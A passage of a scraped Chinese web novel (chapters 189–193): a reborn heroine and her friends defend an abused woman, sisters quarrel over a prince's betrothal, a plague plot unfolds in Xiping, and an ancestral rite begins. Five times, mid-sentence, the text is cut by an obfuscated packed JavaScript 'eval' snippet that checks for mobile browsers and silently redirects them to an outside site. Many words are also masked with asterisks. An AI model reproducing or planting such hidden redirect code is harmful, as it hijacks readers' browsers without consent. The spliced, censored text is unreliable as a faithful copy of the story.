邢初雪呸了她一口,“享福?我表姐在你们家里当牛做马,没有片刻休息,完了还要挨打挨骂,你管这叫享福?这样的福气,还是留给你女儿在自己婆家里享吧!” 崔氏脸上闪过怒容,却不敢发作。 陆知苒看着这对母子,眸底多了几分冷意。 前世,林慧娘就是被这男人活活打死的。 这辈子,她好容易才泥沼里脱身,对方却还要纠缠,实在令人厌恶。 她淡声开口,“这二人在锦绣坊蓄意**,藐视皇恩,直接扭送官府,依律处置吧!” 她朝萧宝珠递了个眼神,萧宝珠立马会意。 这样的**,自然要从重处理,不然只会祸害旁人。 “你们不能抓我们,我儿子可是千户长!初雪啊,你快帮忙说句话啊?哎你们轻一点,我儿子的手被那女人弄脱臼了!那女人出手伤人,你们应该把她也抓起来啊,你们为什么不抓她?” 崔氏聒噪的嚎叫越来越远,很快就彻底消失。 第189章 家丑不外扬 邢初雪看着他们被抓走,觉得解气极了。 她一脸真诚地道谢,“公主,县主,叶小姐,方才多谢你们帮我表姐解围。” 林慧娘“扑通”跪下,朝她们砰砰磕头,“多谢贵人,多谢贵人!” 叶寒衣把她扶起来,“他们母子不是东西,本就该打。” 萧宝珠点头附和,“对啊,听听那男人说的混账话,若非我没身手,不然我早就冲上去把他打得半**!寒衣姐姐,你方才下手太轻了。” 叶寒衣一脸遗憾,“我本来想乱拳把他打死,但又想着这是锦绣坊,**晦气,就忍住了。” 萧宝珠:……倒也没必要打死。 “不过没关系,待会儿有他们的苦头吃。” 林慧娘抬手抹着眼泪,心中既感激又感动。 “是我给锦绣坊添麻烦了。依照我对他们的了解,只怕他们不会善罢甘休,如果他们再来,我……我自己离开这里,不会再给大家添麻烦。” 陆知苒反问,“**的人是何家,你为何要走?” 林慧娘神情黯然,“我若在这里的话,他们有可能会一直来找茬儿。” 萧宝珠冷笑,“来一次,打一次便是,难道偌大的锦绣坊还怕了他们不成?这是朝廷办的锦绣坊,一个小小何家敢三番四次来**,那就是找死!” 陆知苒看着她,“只要你自己不想走,就没人能逼你离开。” 邢初雪握着她的手,“表姐,你听到没有?你不用再怕他们,只要你不放弃,就能把日子过好。” 林慧娘听了这番话,心头那点茫然与惶恐不安瞬间消失,整颗心都酸酸胀胀的,溢满了感动。 她看着她们,坚定地点头。 她已经迈出了最勇敢的一步,接下来的困难又有什么好害怕的? 林慧娘和邢初雪说了一会儿话,便忙着干活去了。 萧宝珠派人打探了一番林慧娘在这里的表现,她性子很温柔好说话,手脚勤快,最主要是刺绣功底不错,在这一批人中算是佼佼者,教学刺绣的女官对她评价很不错。 听了这番话,大家便都觉得自己没有帮错人。 今日之事也暴露出锦绣坊的管理不到位,发生类似的冲突,竟无人出面阻拦。 看来,还得向皇上讨要一些护卫才行,不然岂不是什么阿猫阿狗都敢来**? 几人又在锦绣坊逛了一圈,到了饭点,四人便结伴一道回了城,还是去了老地方漱芳斋,一边吃着熟悉的美食,一边闲适地聊天,气氛十分和谐。 萧宝珠吃撑了,走到窗前消食,忽而“咦”了一声。 “初雪,那不是你姐姐吗?她怎么和李云裳在一处?” 邢初雪闻言,也立马跑到窗前,探头往下看。 果然便见自家姐姐与李云裳并肩而行,两人有说有笑,看上去十分热络。 邢初雪不知想到什么,神情多了一丝黯然。 “想来姐姐只是心情不好,出来闲逛的时候碰巧遇到的吧。” 萧宝珠心直口快,“她笑得那么开心,不像是心情不好的样子啊。你们姐妹闹别扭了?” 邢初雪神情一滞,不说话了。 陆知苒若有所思。 这是她们姐妹之间的事,她也没有贸然开口。 但另外一位同样心直口快,“是不是你选上了五皇子妃,你姐姐没选上,她不高兴了?” 邢初雪没说话,但沉默已然是最好的回答。 这些时日,她在家中过得并不好。 她还没来得及感受自己被选为正妃的喜悦,就被姐姐那冷冰冰的话语砸蒙了。 “你既然有这野心,一开始就不妨直说,故意这般藏着掖着,是要防着谁?现在你得偿所愿了,我却落选了,你满意了吧?” 邢初雪看到她眼底那抹怨怼,心口像被针刺了一下。 她立马解释,自己为陆知苒伴奏只是临时起意,并非早有预谋,她也不知道那时皇上会刚好来。 但是,姐姐却半点都听不进去,她看着自己的眼神依旧冷如冰渣。 待回到邢家,她便扑到母亲的怀里哭了起来。 母亲听了姐姐的哭诉,也责怪她故意抢姐姐的风头,害姐姐落选。 “你姐姐行事沉稳,人情交际、管家理事样样精通,你性子莽撞冲动,说话不经大脑,哪里适合嫁入皇家?可别到时候没给家里挣来荣光,还招来了祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162045|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端。” 听了母亲这话,邢初雪原本就沉郁的心情更笼上了一层深深的阴霾。 只有父亲替她说话,“雪儿选上了,那是雪儿的本事,雷霆雨露皆是君恩,哪里轮得到你们在这挑挑拣拣?我们邢家能出一个皇子妃是天大的喜事,哭哭啼啼的像什么样?” 父亲的这话,依旧没有让母亲和姐姐改变对她的态度。 这些时日,她一直在试图讨好姐姐,但她对自己却一直十分冷淡。 母亲则是给她请了教养嬷嬷,开始重新教她礼仪规矩,十分严格。 她但凡有一点做得不到位,母亲就会摇头叹息,“你要是有你姐姐半点天赋就好了。哎,选上的怎么不是你姐姐?” 她每次一听到这样的话,就觉得头皮发麻,心底也生出深深的自我怀疑。 到现在,她自己也禁不住在想,怎么选上的不是姐姐呢?要是姐姐那就好了。 今日,她实在憋得慌,苦苦哀求一番,才让母亲同意她出门逛逛。 方才看到姐姐的笑脸,她心情很低落。 自从选妃之日起,姐姐就再没有对她笑过。 这些事憋在心里,她很想倾诉,但却不能。 这是家事,家丑不外扬,她不能坏了姐姐的名声。 更何况,她们私底下敢置喙皇上的决定,这传出去,也是大不敬。 沉默片刻,邢初雪露出一抹**的笑。 “没有的事。” 叶寒衣也识趣地道:“我瞎猜的,是我冒昧了,抱歉。” 邢初雪忙道:“没事没事,这怎么能怪你?你也是无心的。” 更何况,她也没猜错。 只是大家都没有点破罢了。 陆知苒回忆着前世,彼时,邢初雪没有被指婚,邢初樱也同样没有被选上。 所以,这辈子,不是邢初雪挡了邢初樱的道儿,而是她压根没有这个命。 人最怕的是对自己没有正确的认知,不仅如此,还把错处都怪到旁人的身上。 陆知苒看着邢初雪,认真道:“我不了解令姐,但你待人真挚热忱,古道热肠,会为了你表姐的未来奔走,是个非常好的姑娘。能认识你,我很高兴。” 第190章 阳奉阴违 邢初雪一愣。 萧宝珠也跟着道:“你为人够爽快,不扭捏,我也喜欢你。” 叶寒衣:“我不认识你姐姐,但你投我脾性,我自然也站你这边。” 邢初雪愣怔地看着她们,对上她们满是真诚的目光。 那一瞬间,原本心头压抑的委屈终于找到了宣泄口,她的眼眶一下就红了。 她吸了吸鼻子,抽噎着道:“我明明什么都比不上姐姐,哪儿有你们说的那么好。” 陆知苒语气真诚,“世俗的标准,并不是评判一个人金科玉律,至少在我们心里,你方方面面都比令姐强。” 萧宝珠也连连点头。 她也与邢初樱有过交道,怎么说呢,不能说邢初樱不好,但她就是那种自己玩不到一块儿去的一类人。 邢初雪一脸感动地看着她们,“我何其有幸,能认识你们。” 陆知苒笑,“你是什么样的人,自然就能吸引到同类的人,这说明我们注定有缘。” 邢初雪破涕为笑,又露出一抹灿烂的笑,方才的阴霾也瞬间一扫而空。 她本也是活泼的性子,很快就叽叽喳喳起来。 萧宝珠笑道:“我五皇兄性子闷,就适合你这种没心没肺傻乐的人。若是娶了个总是端着的王妃,那两口子得闷死。” 邢初雪想到那日所见的漂亮男人,由衷感叹,“五皇兄真乃人间绝色也。” 萧宝珠认真回忆,“我听说,他的生母婉嫔生得更美,只可惜红颜薄命,难产**,五皇兄也落下了病根。” 毕竟马上就要成为自己男人了,邢初雪不免多了几分好奇。 “五皇子究竟是什么病?治不好了吗?” 若他**,自己岂不要守活寡? 当然,她主要是觉得这么好看的男人**可惜。 萧宝珠好似听到了她的心声,“你放心,阿笙说了,五皇兄只是身子弱了些,其他方面没问题,不会让你守活寡的。” “咳咳……” 邢初雪呛了一下,脸一下红了。 萧宝珠疑惑,“我是说,五皇兄能长命百岁,你想到哪儿去了?” 邢初雪:…… “我什么都没想。公主快吃菜。” 可别再说了,再说她的老脸真的要挂不住了。 直到黄昏时分,几人才分别,各自归家。 邢初雪带着轻松的笑意踏进家门,刚回到自己院子,邢夫人袁氏那头就来了人。 “二小姐,夫人请您过去一趟。” 邢初雪换了身衣裳便匆忙去了。 还没进去,就听到姐姐和母亲说笑的声音。 她一进去,袁氏立马板起了脸,邢初樱也似笑非笑地看着她。 邢初雪原本雀跃的心情不自觉收了收。 “母亲,姐姐。” 袁氏严肃地看着她,“你又去找你慧表姐了?” 邢初雪心里咯噔了一下。 袁氏与林慧娘的娘亲虽为姐妹,但一个嫡出,一个庶出,二人关系算不上多亲厚。 林慧娘闹和离之事传开之后,袁氏就勒令她们不许与她来往,更不许管。 殊不知,这件事从头到尾都有邢初雪的帮忙和推动。 今日之事,怎么就被母亲知道了? 邢初雪支吾着道:“我只是刚好在锦绣坊遇到她罢了。” 袁氏拍桌,“还敢撒谎,你分明经常去看她!今日何家那对母子被送去官府,狠狠打了一顿板子,何家转头就派人到咱们府上告了一状,说你即将成为五皇子妃,就仗势欺人,这些话要传出去,我们邢家的名声还要不要了?你爹只怕也要被御史参一本。” 邢初雪身子瑟缩了一下,但又忍不住替自己辩解。 “我没有仗势欺人,分明就是何家人欺人太甚。慧表姐都已经与他和离,他还纠缠不休,甚至当着九公主和平乐县主的面诋毁锦绣坊,这才被扭送官府。像他们那样的人,打**活该!” 袁氏气得手都在抖,邢初樱冷笑,“妹妹身份不同了,说话的底气都不一样了,随随便便就能决定一个人的生死。” 邢初雪梗着脖子,“我说的话都是事实,与我身份如何没有半分关系。” 邢初樱眸底冷意更甚,“你可知你现在的一言一行代表的都是邢家,是父亲的脸面?你还似以往那般任性妄为,迟早有一日,邢家要被你拖累。” 一顶大帽子直接扣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162046|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,邢初雪心头笼上沉沉阴霾。 “我没有任意妄为,这件事就是何家人不对,姐姐又何必这般急着给我定罪?” 她本一直顾忌着姐姐落选,心情不佳,这些时日处处忍让。 但一忍再忍,对方却一再挑拨离间,邢初雪只觉得心底发寒,再也不想忍了。 邢初樱听了她这话,愈发冷笑。 “这件事是不是何家人的错,又与你何干?林家都不管这个女儿的事,轮得到你冲锋陷阵?母亲一再告诫你不要多管闲事,你却屡屡阳奉阴违,若是给咱们家招来祸端,你担得起吗?” 邢初雪语塞。 这番话说到了袁氏的心坎上,她满脸责怪地看着邢初雪,“若非今日之事,我都不知道你私底下完全不把我的话放在心上,你可真是好样的!” “母亲,慧表姐是无辜的,您没瞧见她在何家过的是什么日子,当牛做马不说,身上还被打得没一块好肉。我若是不管,她就要被打**。” 袁氏满脸冷漠,“她就算被打**又与你有什么关系?从今日起,你就老老实实待在家中备嫁,哪里都不许去。” 邢初雪深知多说无用,便只能把所有的话全都咽了回去,低低应了一声,行礼告退了。 邢初樱给袁氏斟茶,柔声开口,“母亲,您消消气,妹妹她任性惯了,并非一日两日能调教好的。” 袁氏长长叹气,“她明明只比你晚出来半个时辰,怎么就与你相差那么多。她若有你一半懂事,我就放心了。” 邢初樱微微垂眸,一副十分失落的模样。 “懂事有什么用?我的命注定没有妹妹的好。” 袁氏闻言立马心疼起来了,赶忙握住她的手宽慰。 “樱儿你放心,母亲定也会替你寻一门好亲事,绝不会委屈了你!” 邢初樱幽幽道:“再好又能怎样?日后我见了她,照样得叩拜行礼。” 袁氏恨声,“你是她姐姐,她敢对你摆王妃的谱,我定饶不了她。” 邢初樱依偎在袁氏的怀里,“还是母亲对我最好。” 可是,这还不够。 再好的亲事,又怎能好过皇家呢? 第191章 蒋南笙失踪 德丰帝颁布了两道圣旨,分别册封五皇子为安王,六皇子为吴王,二人皆为亲王。 长幼有序,安王的婚期也定得最早,在五月二十。 吴王和瑾王的婚期则暂时未定。 但眼下,比安王成亲更加要紧的,乃另外一桩要事:太庙祭祖。 太庙祭祖的时间在四月十五,距今也不过只有八日时间。 早在二月,众官员就在筹备此事,但祭祖乃大事,半点疏忽不得,礼部和太常寺众官员都绷紧了神经,不到最后一刻半点不敢放松。 参与祭祖的,除了皇室亲眷以外,便是朝中重要大臣,陆知苒这样的官员女眷本是没有资格参加的,但没曾想,德丰帝亲自给她下了一道圣旨,特许她一同参加祭祖,盖因她在西平和收容所立下的两大功劳,乃大齐朝的大功臣。 这份荣耀并非一般人能及,陆贯轩喜得连夜到祖宗前上了几炷香。 与此同时,陆知苒收到了一封来自西平的信。 看罢,她的面色顿时笼上一层凝重。 她立马提笔写了一封信,让林骁立刻送去瑾王府,“务必让瑾王亲启。” 林骁很快回来,还把萧晏辞一并带回来了。 “听闻县主有要事相商,本王便来了。” 陆知苒凌乱了一瞬。 萧晏辞解释,“待会儿本王有事需离京一趟,唯恐错过,这才贸然前来,若有冒昧之处,请县主莫怪。” 陆知苒调整好了神色,“事从权宜,无妨。既然殿下有事在身,我们便长话短说。” 她将手中的信递了过去,“殿下,你先看看这个。” 萧晏辞接过,看罢之后,手背青筋瞬间暴起。 信上所述,便是如今西平的境况。 蒋南笙到西平之后,带领手下给西平百姓施诊布药,原本西平百姓的病情已经得到控制,但后来,不知怎的,开始有人**。 陆知苒的春来药铺更是被人造谣售卖假药,医**人,蒋南笙查证死者伤情,当众揭穿其死因另有隐情,与春来药铺没有半分相关,那群**者也被官府捉拿。 但之后,蒋南笙自己就陷入了另一场风波。 由她医治的一名病患**,在有心人的煽动下,她遭到了百姓的联合抵制。 后来,她在一场暴民袭击中失踪了。 她的失踪,让原本尚可控制的疫情局面彻底崩盘,无人能应对错综复杂的病情变化,无人敢开药,百姓们也不敢贸然用药。 短短一个月时间,西平的情况急转直下,百姓病情急剧加重,士兵们也陆续出现了类似的病症。 迄今为止,朝廷依旧没有收到半点消息。 萧晏辞也没有收到半点蒋南笙示警和求助的消息。 是她没有机会传信,还是她传出的信,都被有心人拦截了? 萧晏辞眸色幽沉,“本王先前也早有怀疑西平局势有异,亦派了人前往调查,他们的消息慢了你一步。他们带回了一人,那人伤重,需本王亲自去见。” 那人亲身经历了西平之事,只是他对旁人戒心重,不肯开口,点名要见他,这也是他要急着离京的原因。 陆知苒闻言,忙道:“事不宜迟,殿下速去!” “若有消息,本王第一时间告知你。” 说完,他便不再耽搁,一闪身人便已消失不见了。 陆知苒独自坐在案前,开始梳理前世的时间线。 前世的五月底,西平遭到羌笛袭击,消息传回京城已经过了一个多月。 她本以为,这辈子她命人提前囤了药,又请蒋南笙亲自前往西平治疗疫病,定能压下前世那场肆虐的灾情。 但如今,西平的局势却依旧不明朗,甚至,蒋南笙都有可能遭遇了不测。 难道,她依旧改变不了上辈子的那一场大战? 一场大战,劳民伤财,物资也会陷入匮乏,她必须要为最坏的可能做好准备。 她提笔开始拟清单,拟好之后,又唤来了心腹吩咐了下去。 希望一切都还来得及。 宫中送来了一位教养嬷嬷,开始对陆知苒进行严格的调教,她并非特例,邢初雪和卢诗音也是同等待遇。 这位嬷嬷是柔妃派来的,姓高,她还有另外一层特殊的身份:萧晏辞的奶娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162047|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>高嬷嬷性子不苟言笑,古板严肃,翠芙和丹烟见了她,浑似老鼠见了猫似的,连大声说话都不敢。 高嬷嬷对陆知苒的要求十分严苛,甚至带上了点故意刁难的意思。 金嬷嬷瞧着,暗暗替自家小姐心疼,但陆知苒却心态平和,并未与高嬷嬷起过冲突。 她是萧晏辞的奶娘,有养育之恩,自己只是个未过门的王妃,于情于理,都该敬重她。 更何况,高嬷嬷的态度,多半也是柔妃的授意。 任何一个母亲,对于儿媳都会有所挑剔,柔妃想要看看她的性情如何,遇事会如何处理,此乃人之常情。 与他的身边人打好关系,对她有益无害。 陆知苒学习态度端正认真,对高嬷嬷的要求也都做到尽善尽美,全无半分怨言,高嬷嬷便是想挑剔都寻不到错处。 几日下来,高嬷嬷对陆知苒的态度慢慢和缓,原本的刻意刁难也尽数收敛。 陆知苒察觉到她的变化,心头微微松了口气。 高嬷嬷态度的转变,至少意味着自己的表现还不错。 今日,刚刚结束了半日的训练,陆知苒总算能舒展舒展骨头。 懒腰刚伸了一半,窗外传来一阵轻轻的叩叩声。 陆知苒的动作一收,立马切换回端庄的姿态。 不会吧,高嬷嬷这是到处都长了眼睛盯着自己不成? 她走到窗边,打开了窗,“高嬷……” 看到门外的人,她的话戛然而止,脸上也瞬间失去了表情管理能力。 “瑾,瑾王殿下,你,你怎么会在这里?” 萧晏辞面上带着几分疲倦,整个人看上去风尘仆仆。 “本王探听到了西平的情况,有要事需第一时间与你商议。” 陆知苒连忙让出位置,“殿下请进。” 萧晏辞熟练地翻窗而入,他渴极了,走到桌前,给自己倒了一杯茶,一口灌下。 “殿下,那是……” 那是她喝过的。 但他已经接连喝了几杯,陆知苒便把到嘴的话尽数咽了回去。 不过是一个茶盏罢了,没什么要紧的。 第192章 此女不可再留 萧晏辞牛饮一番,喉中干咳这才缓解。 他开门见山,直入主题,“本王见到了那人,他是阿笙的手下,他说的情况,基本上与你收到的那封书信相差无几。除此之外,他还带回了另外一条至关重要的线索。” “阿笙遭遇了黑衣人的袭击,所以才会下落不明。彼时,对方的身上掉落了这么一块令牌。” 他从怀里将那东西掏了出来,陆知苒看着那令牌,只觉得平平无奇,并未认出有何异常。 “这令牌有什么问题吗?” 萧晏辞的眸色冷沉了几分,“我六皇兄私下养了一支镖队,明面上走镖做生意,实际上,他们做的都是铲除异己的勾当。这块令牌,便是镖队的标志。” 陆知苒面色也随之一变。 六皇子竟掺和进了此事。 但转念一想,又觉得一切都合情合理了。 蒋南笙是萧晏辞的人,萧晏清自然不希望她在西平立下功劳,唯有除之后快。 “是否要禀报皇上?” 萧晏辞点头又摇头,“要禀,但证据不足之事,只能烂在肚子里。” 陆知苒稍一思索便明白了。 西平之局势有异,此事关涉国运,不能隐瞒。 但有关萧晏清的部分,却不能说,至少不能在这个时候说。 光凭一块令牌,根本说明不了什么,反而会打草惊蛇,让萧晏清提高警惕。 “殿下,可有臣女能帮得上忙之事?” 萧晏辞并不拐弯抹角,“有。本王会亲自前往西平,需要一批人手和物资。” 他会第一时间向父皇回禀西平之事,但父皇不会光凭一面之词就相信,势必会派人前去核查。 如此一来一回,必将延误不少时间,西平局势不容乐观,禁不起这般耽搁。 加上,萧晏清刻意派人拦截了西平的消息,只怕那厮所图不小,他也必须要做好最坏的准备。 他手底下虽有人,但不够。 陆知苒一惊,“您亲自前往?皇上和柔妃定然不会同意。” 萧晏辞理所当然,“那就不要让他们知道便是。” 陆知苒:…… 说得的确很有道理,但是…… “殿下,此事风险过大,还请您三思。您此前说过,君子不立危墙之下,此事您大可不必亲自涉险。” 萧晏辞目光含着几分笑意,“你是在担心我?” 陆知苒认真点头,“自然。” 自己的赌注都压在他的身上,他若出个意外,自己的谋算就满盘皆输了。 萧晏辞目光多了两分热烈。 “放心,我还要回来娶你,不会死的。” 陆知苒满脑子都是大业,冷不丁听了他这话,又对上他那灼灼的目光,心头微微一顿,一股古怪的感觉流遍全身。 她很快敛了心神,“殿下看看,这些物资可够?” 她拿出了一个清单,递到了萧晏辞面前。 萧晏辞看罢,面露惊讶。 “你早就做好了准备?” “也没多早,就是上回殿下离开之后,臣女才派人去采办了。这些物资,最快也得一个月才能尽数运到西平。” 萧晏辞看她的眼神更添了几分灼热。 她总是能提前把事情安排得这般周全,每每都让他刮目相看。 “臣女会派林骁去调集人手,他手底下究竟有多少好手,臣女也不甚清楚,只能尽量为殿下安排。” 萧晏辞深深地看着她,“多谢。” 陆知苒摇头,“你我之间,不必言谢。殿下只需平安归来,便是最好的感谢。” 萧晏辞没忍住,一把握住了她的手,陆知苒下意识想往回抽,但他的力道很大,略带粗糙的触感磨得她手心微微发疼,他的眼神也过于灼烫,叫陆知苒一动不敢动。 “好,我定平安归来。” 萧晏辞就这么握着她的手,一动不动地看着她,二人之间滋生出了一丝古怪的氛围。 陆知苒被他看得浑身不自在,耳根也不自觉微微泛起了红。 她一把抽回了自己的手,飞快地切入了正题。 “那个,殿下,臣女还有一件要事要与您商议。” 萧晏辞感受到自己手心的空落,遗憾地收回了手,“以后在我面前,不必用敬语,你在宝珠面前如何,在我面前便如何。” 她从善如流地改了口,“我有一个猜测。六皇子会掺和进西平之事,或许与赵书宁有关系。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162048|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>他挑眉问,“何以见得?” 陆知苒为掩饰面上不自然,下意识地伸手撩了撩头发,殊不知,这番动作落在男人的眼里,更添了几分别样风情。 “我没有明确的证据,只是推测。如果一定要给出一个理由,大概就是我的直觉吧。” 竟拿直觉来说事,这的确很荒谬,但说这话的人是陆知苒,萧晏辞便觉得,再合理不过。 哪怕是她的直觉,也从来都是准的。 他的眸底闪过一抹杀意,“此女不可再留了。” “我知晓一桩秘闻,或可用来对付赵书宁。” 她将那桩秘密道来,萧晏辞听罢,脸上闪过难以置信。 “当真?” 陆知苒点头,“千真万确。” 萧晏辞唇角泛起一丝冷笑,“她可真是胆大包天!” 陆知苒缓缓道:“要揭穿她的阴谋不难,只需一个恰当的时机。太庙祭祖之日,便是绝佳的机会,只是,我的手还不够长,伸不进去。殿下可有法子?” 萧晏辞唇角多了一丝阴冷笑意。 “此事不难,交给我便是。” 祭祖之后,他便要立马启程,先把赵书宁除掉,也算是替他践行了。 陆知苒等的就是他这话。 此事交给他,她就没有什么好不放心的。 二人刚商议完,外头就传来翠芙稍稍扬起的声音。 “高嬷嬷,我家小姐还在休息。” 紧接着,高嬷嬷严肃的声音传来,“到点了,该起了。” 陆知苒听到声音,浑身立马紧绷起来。 “殿下快走,别让高嬷嬷瞧见了!” 萧晏辞愣怔一瞬,才明白过来高嬷嬷出现在这里的原因。 陆知苒打开窗户,又砰地一下飞快关上了。 外头有人! 高嬷嬷已然打开房门走了进来,陆知苒慌得一把抓住萧晏辞的胳膊,飞快把他往里屋推搡。 她的房间不算大,能藏人的地方不多。 环顾一圈,陆知苒打开衣柜,一把将他推进去,“殿下藏好,千万不要发出声音,待房中无人之后,您再悄悄离开。” 说完也不等萧晏辞什么反应,“砰”一声把衣柜门关上了。 第193章 太庙祭祖 萧晏辞只觉得自己被满怀香粉包裹着,那是一种清清淡淡的香,带着她身上独有的味道,很好闻。 此时的他,就像一个偷香窃玉的采花贼。 陆知苒调整好面色,又飞快整理了一番衣服,这才迎上前。 “高嬷嬷,我们继续训练吧。” 她抬步就要往外走,但高嬷嬷却道:“今日不训练,请县主移步里间,今日奴婢替您量体裁衣。” 陆知苒表情凝固,还没回过神来,高嬷嬷已经往里间去了。 陆知苒飞快入内,心虚地挡在衣柜面前。 “高嬷嬷,今日为何突然要量体裁衣?” “内务府得赶制您的嫁衣,自然要量好尺码。” 陆知苒忙道:“近几日我吃得有些多,腰粗了些,不若过几日再量吧。” 高嬷嬷目光在她身上转了一圈,非常中肯地道:“县主的身材维持得甚好,不必过于自谦。县主,请宽衣吧。” 陆知苒瞳孔放大,耳根都开始泛起了红。 “嬷嬷,就,就这么量吧……” 高嬷嬷目光在她胸前转了一圈,“您平日小衣穿得紧,量出来的尺码只怕会有偏差。” 陆知苒恨不得伸手去捂住高嬷嬷的嘴。 偏生金嬷嬷不知内情,她也跟着劝,“小姐,您别脸皮薄,若是量得不准,您穿了不合身就吃苦头了。若您到时候再长大些,就更……” 陆知苒脸红得几乎滴血,“奶娘!快别说了!” 金嬷嬷满脸笑意,“都是我看着长大的,有什么不好意思的?老姐姐,不是我吹嘘,我家小姐这身段,没有几人能比得上。” 高嬷嬷目光毒辣,自然也瞧得出来,自家这未来王妃是个尤物。 但哪有长他人志气,灭自己威风的道理? 高嬷嬷语气骄傲,“我家殿下亦是天赋异禀,刚出生时不仅哭得比别**声,本钱也比别**。两三岁的时候,他尿得都比几位皇兄远。” “咳,咳咳咳……” 陆知苒捂着嘴,但还是忍不住一阵呛咳。 她不受控制地浮现出萧晏辞小时候与人比尿尿的情形,既好笑,又尴尬。 衣柜里的某人,也瞬间红温了。 为免她们再口出虎狼之词,陆知苒赶紧拉回正题,让高嬷嬷开始量身。 她坚持穿着衣裳量,高嬷嬷便也不再勉强。 “胸围,两尺六寸,腰围,一尺八寸,臀围两寸七尺。” 这些话原原本本地传到萧晏辞的耳中,他努力摒弃杂念,但脑中依旧不受控制地勾勒出了她的身形。 一尺八寸的腰,一掐就能断。 如此细腰,如何能承受得住如此傲人的…… 他及时掐灭念头,不停念着清心咒,压下心头杂念。 高嬷嬷看着这些数据,满意地点头,金嬷嬷一脸骄傲,“我就说吧,我家小姐的身段,没几人比得上。” “奶娘……” 您老别说了行吗? 量好了数据,高嬷嬷便前去内务府回禀了,陆知苒赶紧拉着金嬷嬷出了房间。 待屋中没了动静,衣柜门“吱呀”一声打开,萧晏辞猫着腰,狼狈地走了出来。 他那黝黑的脸上红了一片,身上那股燥热依旧汹涌,久久没法平复。 忽而察觉到鼻子前有一股温热流淌,他伸手一摸,竟是满手的鼻血。 他捂着鼻子,趁着无人,赶紧闪身离开了。 再不走,就更丢人了。 陆知苒刻意把院外的下人支走了,足足两刻钟过去,她才做贼似的回了房。 小心翼翼地打开衣柜,里面空无一人,她的衣裳也不见一丝凌乱,完全看不出曾经有人躲在这里,她终于松了口气。 可算走了。 她坐在床上,抚着胸口,发现自己的心莫名跳得很快,脸颊也依旧滚烫,久久不散。 …… 四月十四,亥时,太庙正殿中,礼部尚书正带着几名礼官来回踱步,检查祭器的摆放。青铜鼎中燃着檀香,青烟袅袅升起,在烛光中宛如一条游龙。 子时一到。 “咚——” 第一声钟响划破寂静,钟声悠长,在太庙上空回荡,惊起远处树梢上栖息的几只乌鸦。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162049|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队身着玄色礼服的太监正抬着一顶明黄步辇缓缓而来。步辇上端坐着的,正是当今帝王,德丰帝。 德丰帝身着十二章纹冕服,头戴十二旒冕冠,他下了步辇,一步步踏上白玉台阶,每一步都走得极稳。 太庙正殿前的青铜编钟在晨雾中泛着幽光。钟声渐歇,礼乐声起。编钟、编磬、笙箫齐鸣,奏响《咸和之曲》。 礼部尚书高声唱礼:“跪——” 百官齐刷刷跪伏在地。 德丰帝低沉的声音从殿内传来:“不肖子孙,叩见列祖列宗……” 他语调平稳,诵读着祭文。他的声音在空旷的大殿中回荡,与殿外的礼乐声交织在一起,显得格外苍凉。 祭文读完,天子亲自点燃三炷香,插入香炉。青烟缭绕中,他缓缓转身,面向百官。 “众卿平身。” 帝王诵读经文,此乃第一步。 接下来,便是太子进行第二轮献祭。 德丰帝尚未立太子,就只能从亲王中择选一位。 德丰帝目光在几位皇子身上转了一圈,最后落在萧晏辞的身上。 “瑾王,这第二轮献祭,便有你来吧。” 萧晏辞朗声应是。 